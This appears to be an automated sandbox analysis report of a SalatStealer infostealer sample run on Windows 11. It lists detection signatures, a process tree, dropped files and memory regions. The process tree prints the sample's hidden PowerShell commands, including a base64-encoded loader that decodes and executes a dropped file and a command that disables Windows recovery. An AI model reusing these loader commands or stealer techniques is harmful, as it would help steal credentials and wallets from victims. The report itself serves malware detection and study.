Analysis

  • max time kernel
    148s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 04:49

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-ffvfashs9v
  • SHA256 76c51701bf345c3a67b356b1246af42f95198d1ed9d57739ac77dce562db6557
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 16 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 20 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:688
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1948
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3144
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3332
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2h2bbkos\2h2bbkos.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3348
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4750.tmp" "c:\Users\Admin\AppData\Local\Temp\2h2bbkos\CSC769C94B3D3394058AFB48EB5F6DBF1DF.TMP"
              6⤵
                PID:3208
            • C:\Users\Admin\AppData\Local\Temp\p_42075f8b-babf-439c-bbdf-833a3622c0d6.exe
              "C:\Users\Admin\AppData\Local\Temp\p_42075f8b-babf-439c-bbdf-833a3622c0d6.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1188
              • C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
                C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4944
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1572
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:6040
                • C:\Program Files (x86)\Microsoft\Edge\Application\smartscreen.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\smartscreen.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:5408
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:244
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
        1⤵
          PID:5800

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 174de485d7265108d719a0fcaac35b1acaef5307bdbc43bec5ebb31299e56f1f
              • MD5 SHA1 SHA512 TLSH

              2h2bbkos.dll

              • Path C:\Users\Admin\AppData\Local\Temp\2h2bbkos\2h2bbkos.dll
              • Size 5KB
              • SHA256 036d51776b8b56551a4ea652ba5bb8cd0cae96045edb647c24071727051b1069
              • MD5 SHA1 SHA512 SSDEEP TLSH

              RES4750.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES4750.tmp
              • Size 1KB
              • SHA256 9f65717cd112ce905aaaa033c153fbbaa9c2f94a5fc0c42a23496ba8d381fc75
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_gfky4tue.e0v.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gfky4tue.e0v.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              lc_3548_1789218388848017200.b64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
              • Size 404KB
              • SHA256 584f5dfbc93b9a92ee6774f411290fa27ff39fc93da672736928c7725e1d56b0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.b64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
              • Size 4.6MB
              • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.l64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
              • Size 10KB
              • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
              • MD5 SHA1 SHA512 SSDEEP TLSH

              p_42075f8b-babf-439c-bbdf-833a3622c0d6.exe

              • Path C:\Users\Admin\AppData\Local\Temp\p_42075f8b-babf-439c-bbdf-833a3622c0d6.exe
              • Size 3.4MB
              • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
              • MD5 SHA1 SHA512 SSDEEP TLSH

              2h2bbkos.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\2h2bbkos\2h2bbkos.0.cs
              • Size 2KB
              • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
              • MD5 SHA1 SHA512 TLSH

              2h2bbkos.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\2h2bbkos\2h2bbkos.cmdline
              • Size 369B
              • SHA256 923a4baa3ceeebed4984bfdfb058f0fd983873a33b60b81a20b3f2738882b432
              • MD5 SHA1 SHA512 TLSH

              CSC769C94B3D3394058AFB48EB5F6DBF1DF.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\2h2bbkos\CSC769C94B3D3394058AFB48EB5F6DBF1DF.TMP
              • Size 652B
              • SHA256 0be610b513b260c6a732855592eaf2a66d9df335f6ad4c49e17e0d8d17622b13
              • MD5 SHA1 SHA512 TLSH

              memory/1188-860-0x0000000000260000-0x0000000000EB5000-memory.dmp

              memory/1188-864-0x0000000000260000-0x0000000000EB5000-memory.dmp

              memory/1188-865-0x0000000000260000-0x0000000000EB5000-memory.dmp

              memory/1188-872-0x0000000000260000-0x0000000000EB5000-memory.dmp

              memory/1572-908-0x00000000077E0000-0x0000000007800000-memory.dmp

              memory/1572-910-0x0000000007F70000-0x00000000085EC000-memory.dmp

              memory/1572-915-0x0000000008BB0000-0x000000000916A000-memory.dmp

              memory/1572-914-0x0000000007E10000-0x0000000007E32000-memory.dmp

              memory/1572-913-0x0000000007A40000-0x0000000007AD6000-memory.dmp

              memory/1572-912-0x0000000007990000-0x000000000799A000-memory.dmp

              memory/1572-911-0x0000000007930000-0x000000000794A000-memory.dmp

              memory/1572-899-0x00000000077A0000-0x00000000077D6000-memory.dmp

              memory/1572-900-0x0000000070870000-0x00000000708BC000-memory.dmp

              memory/1572-909-0x0000000007800000-0x00000000078A3000-memory.dmp

              memory/1572-901-0x0000000070B00000-0x0000000070E5B000-memory.dmp

              memory/1572-898-0x0000000007500000-0x0000000007548000-memory.dmp

              memory/1572-891-0x00000000063A0000-0x00000000063EC000-memory.dmp

              memory/1572-890-0x0000000006340000-0x000000000635E000-memory.dmp

              memory/1572-887-0x0000000005E60000-0x00000000061BB000-memory.dmp

              memory/1572-879-0x0000000005600000-0x0000000005666000-memory.dmp

              memory/1572-880-0x0000000005670000-0x00000000056D6000-memory.dmp

              memory/1572-878-0x0000000005560000-0x0000000005582000-memory.dmp

              memory/1572-877-0x0000000005730000-0x0000000005D7A000-memory.dmp

              memory/1572-876-0x0000000002B30000-0x0000000002B66000-memory.dmp

              memory/1948-12-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/1948-9-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/1948-7-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/1948-16-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/1948-6-0x000001625B2B0000-0x000001625B2D2000-memory.dmp

              memory/1948-0-0x00007FFF15DAF000-0x00007FFF15DB0000-memory.dmp

              memory/1948-15-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/1948-10-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/1948-11-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/1948-13-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/3332-851-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/3332-835-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/3332-848-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/3332-850-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/3332-862-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/3332-829-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/3332-830-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/3332-846-0x000001B7B3990000-0x000001B7B3998000-memory.dmp

              memory/3332-849-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/3332-831-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/3332-826-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/3332-823-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/3332-838-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/3332-827-0x00007FFF15C20000-0x00007FFF165C4000-memory.dmp

              memory/4944-875-0x0000000000950000-0x00000000015A5000-memory.dmp

              memory/4944-927-0x0000000000950000-0x00000000015A5000-memory.dmp

              memory/4944-874-0x0000000000950000-0x00000000015A5000-memory.dmp

              memory/4944-931-0x0000000000950000-0x00000000015A5000-memory.dmp

              memory/4944-930-0x0000000000950000-0x00000000015A5000-memory.dmp

              memory/4944-922-0x0000000000950000-0x00000000015A5000-memory.dmp

              memory/4944-923-0x0000000000950000-0x00000000015A5000-memory.dmp

              memory/4944-924-0x0000000000950000-0x00000000015A5000-memory.dmp

              memory/4944-925-0x0000000000950000-0x00000000015A5000-memory.dmp

              memory/4944-926-0x0000000000950000-0x00000000015A5000-memory.dmp

              memory/4944-873-0x0000000000950000-0x00000000015A5000-memory.dmp

              memory/4944-928-0x0000000000950000-0x00000000015A5000-memory.dmp

              memory/4944-929-0x0000000000950000-0x00000000015A5000-memory.dmp

              memory/5408-895-0x00000000003D0000-0x0000000001025000-memory.dmp

              memory/5408-897-0x00000000003D0000-0x0000000001025000-memory.dmp